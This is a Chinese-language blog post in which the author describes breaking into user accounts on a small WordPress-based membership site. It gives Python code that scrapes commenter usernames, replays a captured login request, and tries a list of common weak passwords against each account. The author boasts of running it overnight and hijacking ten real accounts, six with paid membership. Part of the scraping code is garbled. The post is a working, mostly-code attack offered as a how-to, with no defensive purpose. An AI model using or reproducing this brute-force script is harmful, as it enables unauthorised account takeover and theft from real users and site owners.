小夥利用Python爆破某會員網站,充會員?不存在的

小夥利用Python爆破某會員網站,充會員?不存在的


寒假在家上網,qq群裡一位好友給我說他想要某個網站的會員,ps(是個小網站),本著助人為樂的精神我去踩了點。。。

小夥利用Python爆破某會員網站,充會員?不存在的


是嗎

然後就有了思路(騷操作)

這是小編準備的python學習資料,為了你們更好的學習python,關注,轉發,私信小編“資料”即可免費領取!

小夥利用Python爆破某會員網站,充會員?不存在的


先講一下思路

1 .先註冊用戶登錄

2.flidder抓包

3.python 模擬登錄

4.在評論區抓取評論的用戶名

5.弱密碼爆破

登錄

登錄頁面如下

小夥利用Python爆破某會員網站,充會員?不存在的


登錄頁面.png

flidder抓包

抓包之後發現有以下幾個字段

'log': 'admin', # 用戶名

'pwd': 'admin', # 密碼

'wp-submit': '登錄',

'redirect_to': '',

'wpuf_login': 'true',

'action': 'login',

'_wpnonce': '4b4e82f670',

'_wp_http_referer': '/%e7%99%bb%e5%bd%95?loggedout=true'

只要用戶名和密碼不同,其他的不變

python 模擬登錄

這部分就比較簡單,用到requests模塊

import re

import requests

def baopo(log):

url = 'http://XXXXXX.com/%e7%99%bb%e5%bd%95'

headers = {

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0',

'Referer': 'http://XXXXXX.com/%e7%99%bb%e5%bd%95?loggedout=true' #網站打碼

}

data = {

'log': log,

'pwd': 'admin',

'wp-submit': '登錄',

'redirect_to': '',

'wpuf_login': 'true',

'action': 'login',

'_wpnonce': '4b4e82f670',

'_wp_http_referer': '/%e7%99%bb%e5%bd%95?loggedout=true'

}

a = requests.post(url, headers=headers, data=data)

if a.history == []:

return False

else:

return True

得到用戶名

這部分主要用到正則模塊匹配就行了

import re

import requests

def gethtml(url):

headers = {

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0',

'Referer': 'http://XXXXXX.com/%e7%99%bb%e5%bd%95?loggedout=true'

}

html = requests.get(url, headers=headers)

return html.text

for i in range(30,36):

if i == 1:

url = 'http:/XXXXXX.com/'

else:

url = 'http://XXXXXXX.com/page/' + str(i)

html = gethtml(url)

for each in re.findall(' ", each2)[0]

f = open('yonghu.txt','a+',encoding='utf-8')

f.write(each2)

f.write('

')

f.close()

print(each2)

得到用戶名保存在yonghu.txt文件裡

開始爆破

本來想加上多線程,但因為網站太垃圾了,訪問過快會限制,那就算了吧。。。

import requests

import multiprocessing

def baopo(log):

url = 'http://XXXXX.com/%e7%99%bb%e5%bd%95'

headers = {

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0',

'Referer': 'http://XXXXX.com/%e7%99%bb%e5%bd%95?loggedout=true'

}

pwd =['000000','111111','11111111','112233','123123','123321','123456','12345678','654321','666666','888888','abcdef','abcabc',

'abc123','a1b2c3','aaa111','123qwe','qwerty','qweasd','admin',

'password','p@ssword','passwd','iloveyou','5201314','88888888','147258369','1234567890']

pwd.append(log)

for each in pwd:

print('using>>>'+each)

data = {

'log': log,

'pwd': each,

'wp-submit': '登錄',

'redirect_to': '',

'wpuf_login': 'true',

'action': 'login',

'_wpnonce': '4b4e82f670',

'_wp_http_referer': '/%e7%99%bb%e5%bd%95?loggedout=true'

}

a = requests.post(url, headers=headers, data=data)

if a.history == []:

continue

else:

f = open('success.txt','a+',encoding='utf-8')

f.write('User:')

f.write(log)

f.write(' Passwd:')

f.write(each)

print('succeed! ')

return True

f = open('yonghu.txt','r', encoding='utf-8')

yonghuming = set()

yonghuming.add('adminn')

for line in f.readlines():

line = line.strip()

yonghuming.add(line)

if __name__ == '__main__':

for each in yonghuming:

#p = multiprocessing.Process(target=baopo, args=(each,))

#p.start()

print(each)

baopo(each)

#print(yonghuming)

運行效果圖

小夥利用Python爆破某會員網站,充會員?不存在的


運行效果

小夥利用Python爆破某會員網站,充會員?不存在的


成功爆破

收穫

小夥利用Python爆破某會員網站,充會員?不存在的


timg.jpg

放在服務器上跑了一晚,爆出來10個賬號,其中6個充值了會員,美吱吱

小夥利用Python爆破某會員網站,充會員?不存在的



分享到:


相關文章: